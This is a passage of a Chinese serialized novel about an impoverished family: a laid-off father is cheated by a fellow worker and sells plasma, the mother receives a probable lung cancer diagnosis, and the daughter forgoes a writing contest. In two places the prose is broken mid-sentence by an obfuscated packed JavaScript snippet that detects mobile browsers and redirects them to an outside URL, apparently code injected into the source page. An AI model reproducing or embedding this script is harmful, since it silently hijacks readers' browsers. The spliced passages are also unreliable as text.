刚走到筒子楼楼下,就撞见了正拎着菜篮子、准备去市场的王婶。王婶那双精明的眼睛,像探照灯一样在她苍白的脸和手里捏着的纸条上扫过。 “哟,桂兰,这是咋了?脸色这么难看?病了?” 王婶的语气里带着毫不掩饰的“关切”和探究,“去看医生了?医生咋说?严不严重啊?” 李桂兰下意识地把诊断建议书攥紧,藏到身后,勉强挤出一个比哭还难看的笑容:“没……没啥事,就是有点感冒。” “感冒?” 王婶撇撇嘴,显然不信,“感冒能看成这样?我可跟你说,桂兰,这病啊,可不能硬扛!尤其你这咳嗽,我听着可不太对劲!该检查就得检查,该花钱就得花钱!建设不在家,你可不能倒下了,不然小梅和她奶奶可咋办?” 这话听起来象是劝慰,实则每个字都像针一样,扎在李桂兰最痛的地方。她知道,王婶回头就会在街坊四邻中“宣传”:张家媳妇病得不轻,都咳血了!怕是痨病(肺结核)复发了!他们家这下可真是雪上加霜了! 李桂兰没有再理会王婶,低着头,几乎是逃也似的上了楼。 回到那间冰冷、压抑的屋子,她背靠着紧闭的房门,缓缓滑坐到地上。手里那张诊断建议书,已经被她手心的冷汗浸得有些发软。 她抬起头,茫然地看着这个家徒四壁的屋子。婆婆断续的咳嗽声从里屋传来,女儿那张因为营养不良而显得过分瘦小的脸庞在她眼前晃动,丈夫在南方流水线上疲惫麻木的身影在她脑海里浮现…… 去大医院?钱从哪里来? 不去?万一……万一真的是那个可怕的病呢? 绝望,像窗外越来越浓的暮色,一点点地将她吞噬。她坐在冰冷的地上,许久,许久,没有动弹。那张决定她下一步命运的诊断建议书,像一片枯叶,无声地飘落在她的脚边。 17. 技术图纸 南方的夜,闷热依旧。工棚里混杂的鼾声、磨牙声和梦呓,如同沼泽地里腐烂生物发出的气泡声,此起彼伏。空气黏稠得能拧出水来,混杂着汗臭、脚臭和劣质烟草的辛辣,沉甸甸地压在胸口。 张建设蜷缩在自己的下铺,身下的草席散发着前一个使用者留下的、洗刷不掉的体油味。他没有像往常一样,在极度的疲惫中立刻昏睡过去,也没有去理会对面铺位“赵老板”那永无止境的、关于财富与女人的吹嘘。一种奇异的热力在他胸腔里燃烧,驱散了部分□□的疲惫,却带来了另一种精神上的焦灼。 他悄悄坐起身,借着从破损窗户透进来的、远处厂区路灯那点昏黄污浊的光,从枕头底下那个装着他全部家当的破帆布包里,小心翼翼地摸出半截铅笔头和一个边缘卷曲、印着“北春机械厂”抬头的旧笔记本。 笔记本的纸张已经泛黄发脆,上面密密麻麻记录着他当年在机加车间工作时,各种零件的加工参数、工艺改进的笔记,甚至还有一些他凭着记忆和灵感,随手画下的简易工装夹具草图。这些字迹和线条,曾是他作为“张师傅”的骄傲,是他与冰冷钢铁对话的语言,如今却像上古的符咒,蒙上了厚厚的灰尘。 他屏住呼吸,仿佛在进行一项神圣而又见不得光的仪式。粗糙的手指,因为长期拧螺丝而显得有些僵硬、颤抖,却异常坚定地,在笔记本空白的最后一页,开始勾勒。 没有圆规,没有尺子,全凭记忆和那双曾经创造出无数精密零件的手感。铅笔划过粗糙的纸面,发出细微的“沙沙”声,这声音在他听来,比流水线的轰鸣和“赵老板”的吹嘘悦耳千万倍。 他画的是一种车床用的自动走刀小夹具的改良图纸。当年在厂里,他就琢磨过这个,能显著提高加工效率和精度,只是后来……没有后来了。此刻,那些沉睡在脑海深处的线条、角度、传动比,如同被唤醒的精灵,顺着那短得几乎捏不住的铅笔头,流淌到纸上。 他的眼神专注得可怕,额头渗出细密的汗珠,也顾不上去擦。周围工友的鼾声、隔壁床铺放的臭屁、蚊虫在耳边的嗡嗡作响……所有这些工棚里令人作呕的日常,仿佛都离他远去。他不再是流水线上那个麻木的、代号“1865”的螺丝工,他仿佛又回到了北春机械厂那个熟悉的车间,回到了他的C620车床前,他是一个有技术、有想法、能创造价值的“张师傅”。 “……哟嗬!咱们的张大师傅,这是干啥呢?搞科研啊?” 一个带着浓重睡意和讥诮的声音,像冷水一样泼来。是睡在他上铺的那个黄毛青年,不知何时醒了,正探出半个身子,叼着烟,眯着眼看着他手里的本子。 张建设的手指一僵,下意识地想合上笔记本。 “画的什么玩意儿?鬼画符似的!” 黄毛嗤笑一声,声音在寂静的工棚里显得格外刺耳,引来了附近几个被惊醒的工友好奇或麻木的目光。 “人家张师傅可是大国营出来的技术大拿!能跟咱们一样?” 另一个声音阴阳怪气地附和着,带着毫不掩饰的嘲弄。 张建设的脸颊肌肉抽搐了一下,一股热血涌上头顶。他想反驳,想告诉他们这图纸的价值,想诉说这背后凝聚的心血和技术。但他看着那些茫然的、或是充满鄙夷的脸,看着这肮脏恶臭的环境,所有的话都堵在了喉咙里。 就在这时,“赵老板”的声音响了起来,带着一种与他之前吹嘘时截然不同的、刻意压低的严肃和“识货”: “都闭嘴!你们懂个屁!” 他喝止了那些起哄的工友,然后从上铺利索地爬下来,凑到张建设床边,眼睛死死盯着那张刚刚完成大半的图纸,闪烁着一种近乎贪婪的光芒。 “张哥……不,张工!” 他换上了恭敬的称呼,手指虚点着图纸上的几个关键部位,“这是……车床上的玩意儿?能省人工?提高效率的?” 张建设有些意外地看着“赵老板”,点了点头。 “赵老板”猛地一拍大腿(尽量压低声音),脸上露出狂喜之色:“我就说嘛!张工你是真人不露相!这玩意儿,画得明白!有门道!” 他搓着手,兴奋地压低声音,“有了这东西,咱们还愁找不到识货的?那些乡下的小机加工厂,就缺这种能帮他们省人省钱的好东西!这图纸,就是摇钱树啊!” 他拿起那张承载着张建设技术尊严和渺茫希望的图纸,对着昏暗的灯光,像欣赏一件绝世珍宝,嘴里不住地啧啧称赞:“宝贝!真是宝贝!” 张建设看着“赵老板”那兴奋得有些扭曲的脸,看着被他捏在手里、几乎要皱掉的图纸,心中百感交集。一方面,自己的技术得到了(或许是唯一的)认可,那点不甘和希望之火被扇动得更旺;另一方面,“赵老板”那毫不掩饰的、对金钱的渴望,又让他感到一丝隐隐的不安。 这图纸,是他试图抓住的、挣脱泥潭的稻草,是他破碎尊严的粘合剂。而在“赵老板”眼中,它却只是一件可以兑换成钞票的商品,一件实现他“老板梦”的工具。 工棚外,夜虫不知疲倦地鸣叫着。棚内,在浑浊的空气和复杂的目光中,这张简陋的技术图纸,像一簇在垃圾堆里艰难燃起的、微弱而摇曳的火苗,它既可能照亮一条生路,也可能,瞬间引火烧身。 南方的雨季毫无征兆地再次降临,雨水不再是淅淅沥沥,而是瓢泼般倾泻,猛烈地敲打着工棚的铁皮屋顶,发出震耳欲聋的轰鸣,仿佛要将这脆弱的栖身之所彻底摧毁。雨水顺着墙壁的缝隙渗进来,在坑洼的水泥地上汇成一道道污浊的细流,空气里弥漫着一股土腥、铁锈和霉烂混合的、令人作呕的潮湿气味。 张建设蜷缩在床铺最里侧,尽量避开从屋顶漏下、滴落在草席上的冰冷雨滴。身下的草席早已被潮气浸透,摸上去一片湿滑黏腻。他没有像其他工友那样咒骂这鬼天气,或是用破盆烂桶去接漏雨,他的全部心神,都系在怀里那个贴身藏着的、用塑料袋层层包裹的旧钱包上。 那里面,是他最后的积蓄。 是他在流水线上站了无数个十六小时,用僵硬的手指拧了数百万颗螺丝,吞咽下无数呵斥、鄙夷和工棚的恶臭,像挤海绵里的水一样,从牙缝里、从每一顿寡淡的饭菜里,硬生生抠出来的。一共三百二十七块五毛。那几张最大面额的纸币,还带着他体温的暖意,混杂着汗水的咸涩和一股淡淡的、属于希望的霉味。 这笔钱,是他计划好,明天就去邮局,寄给北方的妻女的。一部分用来支付拖欠的煤火费,一部分给女儿买件过冬的棉衣,或许……还能余下一点点,让妻子去抓几副治疗那持续低烧和咳嗽的药。 “张哥,”“赵老板”不知何时,像一条湿滑的泥鳅,悄无声息地坐到了他的床沿。他浑身也被雨水打湿了,头发紧贴在额头上,更显得那双深陷的眼睛贼亮。他压低声音,凑到张建设耳边,语气带着一种刻意营造的、推心置腹的热切: “图纸我看过了,绝对没问题!是好东西!” 他用力拍了拍张建设的肩膀,仿佛两人是生死与共的兄弟,“我刚联系上一个朋友,他认识郊区一家私营小机械厂的老板,正为效率上不去发愁呢!人家看了我描述的方案,非常感兴趣!” 雨水砸在铁皮屋顶上的声音震耳欲聋,但“赵老板”的话,却像魔咒一样,清晰地钻进张建设的耳朵里。 “机会就在眼前!张哥!”“赵老板”的声音因激动而微微发颤,“但这事儿,不能空口白牙去谈。咱们得有点‘表示’,得请中间人吃顿饭,疏通下关系,这叫‘前期投入’!舍不得孩子套不着狼!” 他顿了顿,目光像钩子一样,瞟向张建设下意识捂紧的胸口位置,那里藏着那个旧钱包。 “不多,就三百块!”“赵老板”伸出三根手指,在昏暗的光线下晃了晃,“三百块,撬动的是后面成千上万的利润!等这事儿成了,这三百块算我借你的,双倍还你!不,三倍!” 三百块! 张建设 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743052|189737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感觉自己的心脏象是被一只冰冷的手狠狠攥了一下,几乎停止了跳动。这几乎是他全部的积蓄!是他准备寄回家救急的血汗钱! “我……我这钱……是准备寄回家的……” 他喉咙发干,声音艰涩得像砂纸摩擦。他仿佛看到了妻子在北方寒风中瑟瑟发抖的身影,看到了女儿冻得通红的小脸,看到了家里那冰冷的、早已停止散热的暖气管。 “哎呀!我的张工!你怎么这么死脑筋!”“赵老板”立刻换上一副恨铁不成钢的表情,“寄回家?那点钱够干啥?杯水车薪!顶多让他们多撑一个月,然后呢?还不是老样子!咱们现在干的,是改变命运的大事!是给家里挣一座金山回去!” 他凑得更近,唾沫星子几乎喷到张建设脸上,声音带着蛊惑:“你想让嫂子和小梅一直过那种看人脸色、连病都看不起的日子吗?你想一辈子窝在这破工棚里当臭苦力吗?搏一把!就搏这一把!成功了,咱们就是人上人!” 工棚里,其他工友或麻木或好奇地看着他们。雨水漏得更厉害了,滴答声此起彼伏。一个工友在梦中痛苦地呻吟着,念叨着“回家”。 张建设死死地攥着怀里那个钱包,塑料纸发出轻微的、令人心慌的窸窣声。汗水从他的额角渗出,与空气中的湿气混在一起,冰冷粘腻。 一边是妻女在北方严寒中殷切期盼的眼神和迫在眉睫的生存需求,那三百块钱是维系他们脆弱生命的氧气。 另一边是“赵老板”描绘的、金光闪闪却虚无缥缈的“金山”,是摆脱这非人处境的唯一可能,是重拾尊严和价值的危险捷径。 他的内心在进行着惨烈的拉锯战。理智告诉他,“赵老板”不可信,这风险太大,家里的妻女等不起。但那股被压抑太久的不甘,那份对改变命运的极度渴望,像野草一样在心底疯长,几乎要冲破胸膛。 他想起下岗时的屈辱,想起亲戚的冷眼,想起流水线的残酷,想起那封被退回的家书……难道,他真的要在这泥潭里挣扎到死吗? “赵老板”不再催促,只是用那双闪烁着算计和贪婪光芒的眼睛,死死地盯着他,像一头等待猎物做出最后决定的猎豹。 时间,在雨水的轰鸣和内心的煎熬中,一分一秒地流逝。 最终,张建设象是被抽走了所有力气,又象是下定了某种破釜沉舟的决心。他极其缓慢地、动作僵硬地,从贴身的怀里,掏出了那个被体温焐热的、塑料袋包裹的钱包。 他的手指颤抖着,解开缠了好几圈的塑料袋,打开旧钱包。他没有看里面那些零零整整的钞票,只是摸索着,将里面所有的、最大面额的三张百元纸币,抽了出来。 那三张红色的纸币,在他粗糙、布满裂口和老茧的手掌里,显得那么单薄,却又那么沉重。 他没有立刻递给“赵老板”,而是死死地捏着它们,指节因用力而泛白,仿佛那不是三张纸,而是他全家人的性命,是他作为丈夫和父亲最后的、也是全部的指望。 他抬起头,看向“赵老板”,眼神里是一片被希望和绝望交织燃烧后的、近乎疯狂的赤红。他的嘴唇哆嗦着,用尽全身力气,才从牙缝里挤出一句话: “……这,是给我闺女买棉衣……和……和她妈抓药的钱……” 他的声音沙哑、破碎,带着一种令人心碎的哽咽。 “赵老板”眼中闪过一丝不易察觉的得逞之色,但立刻被更浓的“真诚”覆盖。他一把抓过那三张还有些温热的纸币,迅速塞进自己湿漉漉的内兜,拍着胸脯保证: “张哥!你放心!我赵某人用人格担保!这钱,绝对用在刀刃上!用不了几天,咱们就能收到好消息!到时候,别说棉衣和药,就是小汽车、大洋房,咱也买得起!” 张建设没有回应,只是呆呆地看着自己空荡荡的手掌,那上面仿佛还残留着纸币的触感和温度。工棚外,雨下得更大了,仿佛是天公在为这孤注一掷的愚蠢,发出震耳欲聋的嘲笑。 18. 人去棚空 一夜的暴雨终于在黎明前歇止,但南方的天空并未因此晴朗,反而被一种更令人压抑的、铅灰色的阴云笼罩。工棚里弥漫着雨后的潮气,混杂着泥土的腥味和依旧浓重的体臭,空气湿冷粘腻,吸进肺里带着一股霉烂的寒意。 张建设几乎一夜未眠,天刚蒙蒙亮,他就从湿冷的草席上坐起身。心脏在胸腔里跳得杂乱而急促,带着一种不祥的预感。他下意识地摸了摸胸口,那里空空如也,昨夜交给“赵老板”那三百块钱的地方,只剩下冰冷的、被汗水浸透的布料。 他抬眼向对面那个上铺望去——那里是“赵老板”的床铺。 空的。 床板上只剩下光秃秃的、颜色暗沉发黑的木板,连那片“赵老板”常用来垫头的破报纸都不见了踪影。原本堆在床角的那个印着蹩脚英文logo、据说是他当年“闯荡俄罗斯”时带回的、鼓鼓囊囊的旅行包,也消失了。 张建设的心猛地往下一沉,像一块石头直坠冰窟。 他不信邪,几乎是扑到对面床铺前,伸手在那空荡荡的床板上摸索着,仿佛能摸到一点残存的体温或痕迹。手指触到的只有冰冷、潮湿和粗糙的木刺。 “别摸了!” 一个带着睡意和浓重嘲讽的声音从上铺传来,是那个黄毛青年,他探出半个身子,嘴里叼着烟,戏谑地看着张建设如同无头苍蝇般的动作,“你的‘赵老板’,天没亮就拎着包溜啦!鞋底抹油,快得很呐!” 这话像一道惊雷,在张建设耳边炸响。他猛地转过头,脸色瞬间惨白如纸。 “不可能……他说……他说要去疏通关系……” 他喃喃自语,声音干涩得象是砂轮摩擦。 “疏通关系?哈哈哈!” 黄毛发出一阵刺耳的大笑,引得工棚里其他被惊醒的工友也纷纷投来目光,“疏通个屁!昨儿晚上后半夜,我起来撒尿,亲眼看见他鬼鬼祟祟收拾东西!你那三百块钱,怕是早变成他跑路的盘缠喽!” 另一个工友一边穿着脏兮兮的工装,一边阴阳怪气地接话:“早就跟你们说过,那姓赵的满嘴跑火车,没一句实话!也就你这种老实巴交的‘老师傅’会上他的当!” “三百块啊!啧啧,得拧多少颗螺丝才能挣回来?” “还想着合伙当老板?做梦去吧!” “活该!谁让他想发财想疯了!” 幸灾乐祸的议论声,像无数支冰冷的箭,从四面八方射来,扎进张建设早已千疮百孔的心。他僵立在原地,浑身冰冷,血液仿佛都凝固了。耳朵里嗡嗡作响,工友们的嘲笑和议论变得遥远而模糊。 他猛地想起什么,像疯了一样,冲回自己的床铺,发狂似的在枕头下、草席底、那个破帆布包的每一个角落里翻找。他希望能找到“赵老板”留下的只言片语,哪怕是一张写着虚假承诺的纸条,或者……或者那三百块钱,只是被“赵老板”暂时保管,忘了还他…… 没有。什么都没有。 只有几张他舍不得用的、印着花卉的漂亮信纸,那是准备给女儿写信用的;还有那本画着技术图纸的、印着“北春机械厂”抬头的旧笔记本,孤零零地躺在背包最底层。 他颤抖着手,拿起那本笔记本,翻到最后一页。那张倾注了他全部技术和希望、被他视若珍宝的图纸,还静静地躺在那里。线条清晰,标注工整。只是此刻,这图纸在他眼中,不再是什么“摇钱树”,而成了一张巨大的、写满了“愚蠢”和“耻辱”的证明! “赵老板”甚至连这张他根本看不懂的“废纸”都懒得带走! 巨大的被骗感、金钱损失带来的切肤之痛、以及对自身愚蠢的强烈羞耻,像三股狂暴的火焰,瞬间吞噬了他!他只觉得一股腥甜涌上喉咙,眼前阵阵发黑,几乎要晕厥过去。 “妈的!张建设!你他妈还愣着干什么?!” 工头粗野的吼声在工棚门口炸响,像鞭子一样抽在每个人身上,“不上工了?都想扣钱是不是?!赶紧滚去车间!” 这声怒吼,像一盆冰水,将张建设从崩溃的边缘暂时浇醒。 他抬起头,茫然地看着工头那张凶神恶煞的脸,看着周围工友们迅速收敛了看热闹的表情,麻木而匆忙地涌向门口。没有人再多看他一眼,没有人关心他刚刚失去了什么。在这里,个人的悲剧渺小得不值一提,流水线的节奏才是至高无上的法则。 他像个被抽走了灵魂的木偶,机械地、跟跟跄跄地随着人流往外走。路过“赵老板”那空空如也的床铺时,他的脚步顿了一下。 然后,他猛地弯下腰,发出一阵压抑不住的、如同受伤野兽般的干呕。什么也吐不出来,只有苦涩的胆汁灼烧着喉咙。 他直起身,用袖子狠狠擦了一下嘴角,脸上没有任何表情,只有一片死寂的灰败。那双曾经闪烁着技术工人专注光芒的眼睛,此刻空洞得象是两口枯井。 他一步一步,走向那个吞噬了他时间、健康和尊严,如今又见证了他愚蠢和绝望的车间。那张被他视为最后希望的技术图纸,连同那个“老板”的幻梦,一起,被他遗弃在身后那片充斥着恶臭、嘲笑和彻底虚无的工棚里。 人去棚空。希望的泡沫,碎裂得连一点痕迹都没有留下。 北方的寒风似乎也懂得欺软怕硬,在“人民医院”这四个锈迹斑斑的鎏金大字下显得格外猖獗。李桂兰是被妹妹半拖半拽着来到这里的。她本不想来,社区卫生所那张转诊单像烫手的山芋,被她藏在碗柜深处好几天。是妹妹来看她,发现她咳得更凶,脸色蜡黄得吓人,才不由分说,几乎是押着她,挤上了那辆能把人五脏六腑都颠出来的破旧公交车。 医院里是另一种形态的、更加庞大而冰冷的混乱。消毒水的气味浓烈刺鼻,却压不住那股由无数病痛、焦虑和绝望发酵出的、令人窒息的污浊气息。挂号窗口前排着蜿蜒曲折、看不到头的长队,像一条垂死的巨蟒。人们裹着厚厚的棉衣,脸上刻着相似的麻木与焦灼,推搡着,叫嚷着,每一次队伍的微小挪动都引发一阵不安的骚动。 李桂兰紧紧攥着妹妹的手,象是抓着唯一的浮木。她的目光不敢与那些同样被疾病折磨的面孔对视,只是死死盯着自己脚下那双开了胶、沾满泥雪的旧棉鞋。妹妹在一旁不停地与人理论,试图挤到前面去,引来一片不满的呵斥和白眼。 “挤什么挤!排队去!” “谁不急啊!有点素质行不行!” 那些声音尖锐地刮擦着李桂兰的耳膜,让她头晕目眩。 好不容易挂上号,又是漫长的等待。呼吸科的走廊里挤满了人,长椅上坐不下,很多人就靠着墙壁蹲着或站着。咳嗽声、吐痰声、孩子的哭闹声、家属焦急的询问声交织在一起。空气污浊得让人喘不过气 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护士在窗口喊她的名字,声音机械而冰冷。 她几乎是跳了起来,踉跄着冲到窗口。护士递出来一个装着片子的牛皮纸袋和一张报告单。她的手抖得厉害,几乎捏不住那薄薄的几张纸。 她不敢在医院走廊里看,拉着妹妹,几乎是逃也似的跑到医院大楼外一个背风的、堆着废弃输液架和杂物的角落。寒风立刻像刀子一样裹挟了她,但她浑然不觉。 她背对着妹妹,用冻得僵硬的手指,颤抖着,从纸袋里抽出那张报告单。 纸张是冰冷的,上面的字迹却像烧红的烙铁: “影像学诊断: 右肺门区见团块状高密度影,边缘呈分叶状,可见毛刺征。 考虑:中央型肺癌可能性大,建议进一步检查(CT增强、支气管镜等)。” “……肺癌……” 这两个字,像两颗从冰窟里捞出的子弹,带着致命的寒气,瞬间击穿了她的心脏,将她所有的侥幸、所有的坚持、所有的微弱希望,都打得粉碎! 世界仿佛在这一刻失去了所有声音和颜色。耳边的风声、远处街道的嘈杂、妹妹焦急的询问……一切都变得遥远而不真实。只有那两个字,在眼前无限放大,扭曲,狞笑。 她眼前一黑,脚下一软,差点栽倒在地。妹妹慌忙扶住她。 “姐!姐你怎么了?结果……结果不好吗?” 妹妹的声音带着哭腔,抢过她手里的报告单。只看了一眼,妹妹的脸色也瞬间变得惨白,嘴唇哆嗦着,说不出话来。 李桂兰靠在冰冷粗糙的砖墙上,大口大口地喘着气,却感觉空气稀薄得无法进入肺部。那冰冷的墙壁,仿佛是她此刻唯一的支撑。 她抬起头,望着医院上空那片被城市灯火映成暗红色的、污浊的天空,只觉得那天也像一块巨大的、正在缓缓压下来的墓碑。 诊断书从她无力的手中滑落,飘落在肮脏的雪地上。那上面冰冷的医学术语,宣判的不仅仅是一种疾病,更是对这个早已风雨飘摇的家庭,最沉重、也最无情的一击。 希望?哪里还有希望?那微弱的、曾在心底闪烁的火星,在这一纸诊断面前,彻底地、无声地,熄灭了。只剩下无尽的、冰冷的黑暗,吞噬而来。 19. 张小梅的决定 北方的深秋,教室里已经提前感受到了冬日的寒意。窗户关不严实,冷风像狡猾的蛇,寻着缝隙钻进来,吹得墙上那张印着“知识改变命运”的红色标语一角“哗啦”作响。空气里弥漫着粉笔灰和孩子们身上淡淡的、混合着冻疮膏味道的气息。 班主任李老师站在讲台上,脸上难得地带着一丝与有荣焉的振奋。她扶了扶眼镜,目光在台下五十多个学生脸上扫过,最后,有意无意地在张小梅身上多停留了几秒。 “同学们,安静一下。”李老师清了清嗓子,声音带着一种宣布重大消息的庄重,“有一个非常好的机会!全国中学生‘希望之星’作文大赛开始了!我们学校,有一个参加省城决赛的名额!” 教室里响起一阵小小的骚动,尤其是那些作文成绩好的同学,眼睛里瞬间燃起了渴望的光。 李老师的语气更加热切:“这次大赛规格很高!如果能进入全国决赛,甚至获奖,对将来的升学,可能有非常重要的帮助,甚至是保送的机会!” 她顿了顿,目光再次落到张小梅身上,语气变得格外“温和”: “经过各科老师推荐和学校研究,我们决定,推荐我们班的张小梅同学,代表学校去参加省城的决赛!” “嗡——”地一下,所有目光瞬间聚焦在张小梅身上。有羡慕,有惊讶,也有毫不掩饰的嫉妒。 张小梅的心脏猛地一跳,像被什么东西狠狠撞了一下。一股混杂着巨大惊喜、难以置信和瞬间涌起的强烈渴望的热流,冲上她的头顶,让她脸颊发烫,手指微微颤抖。作文,是她黯淡生活里为数不多的、能让她暂时忘记周遭一切、感受到自身价值的光亮。去省城参加决赛?保送?这些词汇对她来说,遥远得像天上的星星。 “不过,”李老师话锋一转,脸上露出一丝恰到好处的、表示“遗憾”的神情,“去省城参加决赛,需要……呃,需要缴纳一百元的参赛费和往返路费。学校经费紧张,这部分需要同学自理。” 一百元。 这三个字,像三块巨大的、冰冷的巨石,从刚刚升起的云端,轰然砸下,瞬间将张小梅心中那点刚刚燃起的、微弱的火苗,砸得火星四溅,几近熄灭。 她脸上的血色以肉眼可见的速度褪去,刚刚还因激动而挺直的脊背,一点点佝偻下去,重新缩回到那种惯常的、自我保护的姿态。一百元!她知道这意味着什么。意味着妈妈要夜以继日地拆解多少件旧毛衣,织多少双卖不出去的手套,还要躲避多少次城管的追撵;意味着爸爸在南方流水线上,要多拧成千上万颗螺丝,多忍受多少个小时的呵斥和疲惫。 周围同学的低语声开始像苍蝇一样嗡嗡响起: “一百块!这么贵!” “啧啧,张小梅家能拿出这钱吗?” “去了也不一定能拿奖,白花钱……” “就是,还不如把名额让给……” 那些声音并不大,却像针一样,密密麻麻地扎在她裸露的神经上。 李老师看着她瞬间苍白的脸色和低垂下去的头,走了过来,语气依旧是那种“为你着想”的温和,却带着一种无形的压力:“张小梅,这可是难得的机会啊!为学校争光,也是为你自己的前途着想。你作文一直很好,老师们都对你寄予厚望。回去好好跟家里商量一下,啊?想想办法。” “想想办法”……这话听起来轻飘飘,却像一座山,压得她喘不过气。 放学铃声像救赎,又像另一道催命符。她几乎是逃离了那些混杂着各种意味的目光,背着那个洗得发白的旧书包,脚步沉重地往家走。寒风刮在脸上,像刀子,却比不上心里的冰冷。 推开家门,那股熟悉的、混合着陈旧家具和淡淡药味的气息扑面而来。屋里比外面更暗,更冷。母亲李桂兰正坐在外间的小板凳上,就着窗外最后一点天光,拆解着一件颜色灰败的旧毛衣。她的动作迟缓,时不时发出一阵压抑不住的、沉闷的咳嗽,每咳一声,肩膀都剧烈地耸动着,仿佛要把肺都咳出来。她的脚边,放着那个搪瓷痰盂,张小梅眼尖地看到,里面似乎有没来得及倒掉的、带着暗红色血丝的痰液。 听到女儿回来,李桂兰抬起头,努力想挤出一个笑容,但那笑容在她憔悴枯槁的脸上,只显得更加心酸。“梅子回来了……咳咳……饿了吧?饭在锅里……” 张小梅站在门口,看着母亲那如同风中残烛般的身影,看着她在昏暗中更显苍白浮肿的脸,听着那撕心裂肺的咳嗽声,到嘴边的话,像一块坚硬的石头,死死地堵在了喉咙里。 她怎么开口?怎么告诉母亲,有一个需要一百块钱才能去参加的、或许能改变命运的比赛? 就在她僵立的时候,隔壁王婶那极具穿透力的声音,又阴魂不散地透过墙壁传了过来,象是在训斥自家孩子,又分明是嚷给这边听: “……读那么多书有啥用?能当饭吃还是能当钱花?女孩子家,认得几个字就不错了!早点出来干活,帮衬家里才是正经!别学那心比天高的,命比纸薄,净想些不切实际的,拖累死人!” 这话,像最后一根稻草,压垮了张小梅心中所有的挣扎和幻想。 她看着母亲那双因为长期劳作和病痛而布满厚茧、此刻正微微颤抖的手,看着这个家徒四壁、连温暖都是一种奢侈的家,一股巨大的、冰冷的绝望,彻底淹没了她。 她深吸了一口冰冷的、带着毛线纤维和药味的空气,仿佛要将所有的委屈、不甘和那点刚刚萌芽就被掐灭的希望,都深深地埋藏起来。 然后,她走到母亲面前,声音平静得可怕,没有一丝波澜,仿佛在陈述一个与己无关的事实: “妈,没什么。学校……有个比赛,我不参加了。” 李桂兰愣了一下,抬起疲惫困惑的眼睛:“比赛?什么比赛?为啥不……” “不想去了。”张小梅打断母亲的话,语气异常坚决,甚至带着一丝与她年龄不符的冷漠,“没什么意思。我……我去写作业了。” 说完,她不再看母亲,径直走向里屋那盏昏黄的台灯下,拿出课本,将自己埋首进去。只是那握着笔的手指,因为过于用力,指节泛着森森的白。 没有人知道,在她那看似平静的外表下,一个十五岁少女心中,那扇通往或许有所不同未来的门,已经被她亲手,沉重地、无声地,关上了。窗外,夜色渐浓,寒风呜咽,象是在为这个过早向现实妥协的决定,奏响一曲苍凉的挽歌。 南方的日头毒辣得像烧红的烙铁,将昨夜暴雨留下的湿气蒸腾起来,街道上氤氲着一股令人窒息的、混杂着垃圾腐臭和汽车尾气的湿热气味。张建设跟着一个面色蜡黄、眼窝深陷的工友,穿过几条污水横流、挂满晾晒破旧衣物的狭窄巷弄,最终停在一个没有任何标识的、锈迹斑斑的铁皮门前。 这里不像医院,更像一个废弃的仓库或者地下作坊。门虚掩着,里面透出一种昏暗的、与外面烈日形成强烈反差的阴森。 “就……就这儿?”张建设喉咙发干,声音带着自己都没察觉的颤抖。他下意识地紧了紧身上那件洗得发白、依旧带着北方尘土气息的工装。 “不然呢?正规医院能让你这么抽?”带路的工友不耐烦地瞥了他一眼,眼神浑浊,带着一种长期混迹于此的麻木,“想挣快钱,就别挑三拣四。里面规矩点,少说话,多听话。” 他推开铁皮门,一股更加浓烈、令人作呕的气味扑面而来——是消毒水试图掩盖却失败的、混合着血腥、汗臭和某种隐约霉烂的复杂气味。空气湿闷黏稠,吊扇在屋顶有气无力地转动,发出“吱呀”的噪音,非但没能带来凉意,反而搅得人心烦意乱。 屋里光线昏暗,只有角落里几张破旧的行军床和一台看起来笨重古老的离心机旁边亮着瓦数很低的灯泡。几个穿着分不清颜色、沾着可疑污渍白大褂的人影在晃动,动作机械,面无表情。已经有七八个人在排队等候,大多是和带路工友一样面色不佳、眼神躲闪的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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三百!这个数字像一道强光,瞬间刺穿了张建设心中的恐惧和犹豫。三百块,几乎能抵上他大半个月在流水线上的血汗!能立刻汇回家,解了妻子看病和女儿学费的燃眉之急! “成……成分献。”他几乎是脱口而出,声音嘶哑。 那“医生”没再多说,动作熟练地开始准备。当那根比普通针头粗壮得多的采血针,带着冰冷的触感,猛地刺入他臂弯青色的血管时,一阵尖锐的刺痛让他瞬间绷紧了全身肌肉,额头渗出细密的冷汗。 他能清晰地感觉到,自己的血液被快速抽出,在体外那个冰冷的机器里循环、分离,然后再把一部分成分输回体内。整个过程漫长而诡异,身体仿佛不再完全属于自己。他死死闭上眼,不敢看那蠕动的管路和渐渐充盈的血袋。 耳边,是离心机单调的轰鸣,还有旁边两个似乎是常客的、穿着流里流气的小年轻肆无忌惮的交谈: “妈的,这鬼地方越来越黑了!上次还给三百五呢!” “知足吧你!有地方收就不错了!听说老城区那边好几个点都被端了!” “还是‘成分’划算,虽然遭点罪,来钱快!够老子去翻本了!” “翻个屁!输光了又来卖!你这身板,还能卖几次?” 那些话语,像肮脏的泥水,泼洒在张建设本就耻辱的心上。他感觉自己和他们,和这屋里所有为钱出卖鲜血的人,一起沉沦在这不见天日的深渊里。 不知过了多久,那“医生”终于拔出了针头,用一块脏棉花用力按住他的针眼。一阵强烈的眩晕感袭来,让他眼前发黑,差点从床上栽下去。 “按住!五分钟!”那“医生”毫无感情地命令道,然后将三张簇新的百元纸币,像打发乞丐一样,随手扔在他身边的床沿上。 那三张红色的纸币,在昏暗的灯光下,反射着诱人而又罪恶的光泽。 张建设颤抖着伸出手,抓起那三张还带着一丝机器余温的钞票。纸币的边缘像刀片一样,割着他粗糙的指尖。 他挣扎着坐起身,强忍着眩晕和恶心,脚步虚浮地走出那间令人窒息的血站。外面灼热的阳光刺得他睁不开眼,但他却感觉不到丝毫暖意,只有一种从骨头缝里渗出来的、彻骨的寒冷。 